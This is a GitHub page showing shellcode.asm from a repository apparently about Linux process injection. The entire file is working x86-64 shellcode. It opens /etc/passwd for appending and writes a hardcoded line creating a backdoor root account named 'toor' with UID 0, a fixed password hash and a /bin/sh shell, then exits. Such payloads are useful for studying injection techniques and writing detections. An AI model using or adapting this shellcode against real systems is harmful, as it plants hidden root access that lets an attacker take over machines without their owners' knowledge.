LinuxProcessInjection/shellcode.asm at master · MalavVyas/LinuxProcessInjection · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
global _start

section .text
_start:

    xor ebx, ebx
    mul ebx
    push rax
    mov ebx, 0x647773ff
    shr ebx, 0x08
    push rbx
    mov rbx, 0x7361702f6374652f
    push rbx
    mov rdi, rsp
    xchg esi, edx
    mov si, 0x401
    add al, 0x2
    syscall

    xchg rdi, rax

    jmp short get_entry_address

write_entry:

    pop rsi
    push 0x1
    pop rax
    push 38
    pop rdx
    syscall
    push 60
    pop rax
    syscall

get_entry_address:
    call write_entry
    user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa